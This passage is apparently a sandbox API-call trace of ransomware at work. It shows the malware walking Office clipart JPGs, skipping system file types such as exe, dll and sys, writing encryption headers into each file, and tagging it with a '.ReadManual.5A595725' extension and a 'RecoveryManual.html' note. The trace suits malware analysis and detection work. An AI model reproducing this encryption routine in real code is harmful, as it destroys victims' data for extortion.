1 [0269.997] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg")) returned 0x20 [0269.997] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.997] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=81437) returned 1 [0269.997] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e1d, lpName=0x0) returned 0x184 [0269.997] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.998] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.998] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.000] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.000] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e1d) returned 0x1de0000 [0270.002] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.003] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39067145830) returned 1 [0270.003] CloseHandle (hObject=0x184) returned 1 [0270.003] SetSecurityInfo () returned 0x57 [0270.003] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.003] CloseHandle (hObject=0x194) returned 1 [0270.003] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0270.003] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382947.JPG" | out: lpString1="J0382947.JPG") returned="J0382947.JPG" [0270.003] lstrcmpiW (lpString1="J0382947.JPG", lpString2="RecoveryManual.html") returned -1 [0270.003] StrStrIW (lpFirst="J0382947.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.003] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.003] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.003] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.003] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.003] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.003] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.003] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.003] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.003] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.003] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.003] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.003] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.003] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.004] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.004] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" [0270.004] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.ReadManual.5A595725" [0270.004] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.ReadManual.5A595725") returned 87 [0270.004] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39067240758) returned 1 [0270.004] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg")) returned 0x20 [0270.004] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.004] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=86812) returned 1 [0270.004] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1531c, lpName=0x0) returned 0x184 [0270.004] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.005] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.005] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.007] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.007] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1531c) returned 0x1de0000 [0270.012] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.013] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39068142729) returned 1 [0270.013] CloseHandle (hObject=0x184) returned 1 [0270.013] SetSecurityInfo () returned 0x57 [0270.013] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.013] CloseHandle (hObject=0x194) returned 1 [0270.013] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0270.013] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382948.JPG" | out: lpString1="J0382948.JPG") returned="J0382948.JPG" [0270.013] lstrcmpiW (lpString1="J0382948.JPG", lpString2="RecoveryManual.html") returned -1 [0270.013] StrStrIW (lpFirst="J0382948.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.013] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.013] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.013] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.013] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.013] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.013] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.013] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.013] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.013] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" [0270.014] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.ReadManual.5A595725" [0270.014] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.ReadManual.5A595725") returned 87 [0270.014] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39068237178) returned 1 [0270.014] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg")) returned 0x20 [0270.014] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.014] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=109879) returned 1 [0270.014] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ad37, lpName=0x0) returned 0x184 [0270.014] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.015] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.015] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.017] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.017] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ad37) returned 0x1de0000 [0270.021] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.021] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39069020985) returned 1 [0270.021] CloseHandle (hObject=0x184) returned 1 [0270.022] SetSecurityInfo () returned 0x57 [0270.022] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.022] CloseHandle (hObject=0x194) returned 1 [0270.022] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0270.022] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382950.JPG" | out: lpString1="J0382950.JPG") returned="J0382950.JPG" [0270.022] lstrcmpiW (lpString1="J0382950.JPG", lpString2="RecoveryManual.html") returned -1 [0270.022] StrStrIW (lpFirst="J0382950.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.022] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.022] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.022] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.022] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.022] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.022] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.022] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.022] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.022] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" [0270.022] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.ReadManual.5A595725" [0270.022] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.ReadManual.5A595725") returned 87 [0270.022] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39069117079) returned 1 [0270.022] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg")) returned 0x20 [0270.023] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.024] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=96466) returned 1 [0270.024] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x178d2, lpName=0x0) returned 0x184 [0270.024] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.025] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.025] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.026] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.026] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x178d2) returned 0x1de0000 [0270.029] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.029] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39069788728) returned 1 [0270.029] CloseHandle (hObject=0x184) returned 1 [0270.029] SetSecurityInfo () returned 0x57 [0270.029] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.029] CloseHandle (hObject=0x194) returned 1 [0270.029] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0270.029] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382952.JPG" | out: lpString1="J0382952.JPG") returned="J0382952.JPG" [0270.029] lstrcmpiW (lpString1="J0382952.JPG", lpString2="RecoveryManual.html") returned -1 [0270.030] StrStrIW (lpFirst="J0382952.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.030] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.030] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.030] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.030] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.030] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.030] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.030] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.030] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.030] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" [0270.030] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.ReadManual.5A595725" [0270.030] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.ReadManual.5A595725") returned 87 [0270.030] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39069882758) returned 1 [0270.030] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg")) returned 0x20 [0270.030] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.031] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=96073) returned 1 [0270.031] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17749, lpName=0x0) returned 0x184 [0270.031] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.031] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.031] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.033] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.033] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17749) returned 0x1de0000 [0270.035] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.036] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39070452815) returned 1 [0270.036] CloseHandle (hObject=0x184) returned 1 [0270.036] SetSecurityInfo () returned 0x57 [0270.036] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.036] CloseHandle (hObject=0x194) returned 1 [0270.036] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0270.036] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382954.JPG" | out: lpString1="J0382954.JPG") returned="J0382954.JPG" [0270.036] lstrcmpiW (lpString1="J0382954.JPG", lpString2="RecoveryManual.html") returned -1 [0270.036] StrStrIW (lpFirst="J0382954.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.036] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.036] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.036] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.036] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.036] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.036] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.036] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.036] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.036] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.036] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.037] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.037] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.037] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.037] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.037] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" [0270.037] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.ReadManual.5A595725" [0270.037] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.ReadManual.5A595725") returned 87 [0270.037] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39070552425) returned 1 [0270.037] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg")) returned 0x20 [0270.037] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.037] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=88703) returned 1 [0270.037] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a7f, lpName=0x0) returned 0x184 [0270.037] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.038] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.038] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.040] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.040] MapViewOfFile (hFileMappingObject=0x184, 